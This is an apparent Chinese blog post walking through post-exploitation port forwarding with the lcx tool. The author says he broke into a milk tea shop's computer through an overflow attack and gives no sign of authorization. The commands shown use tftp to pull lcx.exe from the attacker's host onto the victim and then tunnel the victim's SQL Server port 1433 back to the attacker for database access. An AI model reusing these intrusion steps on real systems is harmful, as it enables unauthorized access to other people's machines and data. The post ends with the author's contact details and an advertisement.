LCX端口内网映射转发

  这几天在渗透一家奶茶店的时候, 使用溢出攻击获得了奶茶店shell, 截屏以后发现该电脑有安装sqlserver, 但是数据库无法远程连接, 所以我决定使用端口映射工具突破端口连接限制;

  我的机器地址为:192.168.1.156

  奶茶店的IP地址为: 192.168.1.157

  1:上传lcx到目标机器

  首先需要下载lcx这个工具:

  Pan

  Lcx这个工具我使用tftp上传到目标机器, 在目标的shell中执行:

tftp -i 192.168.1.156 get lcx.exe

  2:使用lcx监听本地端口

  然后执行lcx命令, 并绑定 本地的1434端口和51端口 :

lcx -listen 51 1434

  LCX端口内网映射转发_第1张图片

  3:在目标shell中执行端口转发

  目标机器的地址是192.168.1.157 , 我的机器地址为192.168.1.156:

lcx -slave 192.168.1.156 51 192.168.1.157 1433

  这条命令会把目标机器的1433端口转发到 192.168.1.156的51端口上

LCX端口内网映射转发_第2张图片

  使用sqlservermanager连接本地机器, 连接的地址为本地机器IP的1433端口:

LCX端口内网映射转发_第3张图片

  OVER, 连接成功

LCX端口内网映射转发_第4张图片

 

LCX端口内网映射转发_第5张图片 作者: NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830 

厦门点燃未来网络科技有限公司, 是厦门最好的微信应用, 小程序, 微信网站, 公众号开发公司

你可能感兴趣的:(LCX端口内网映射转发)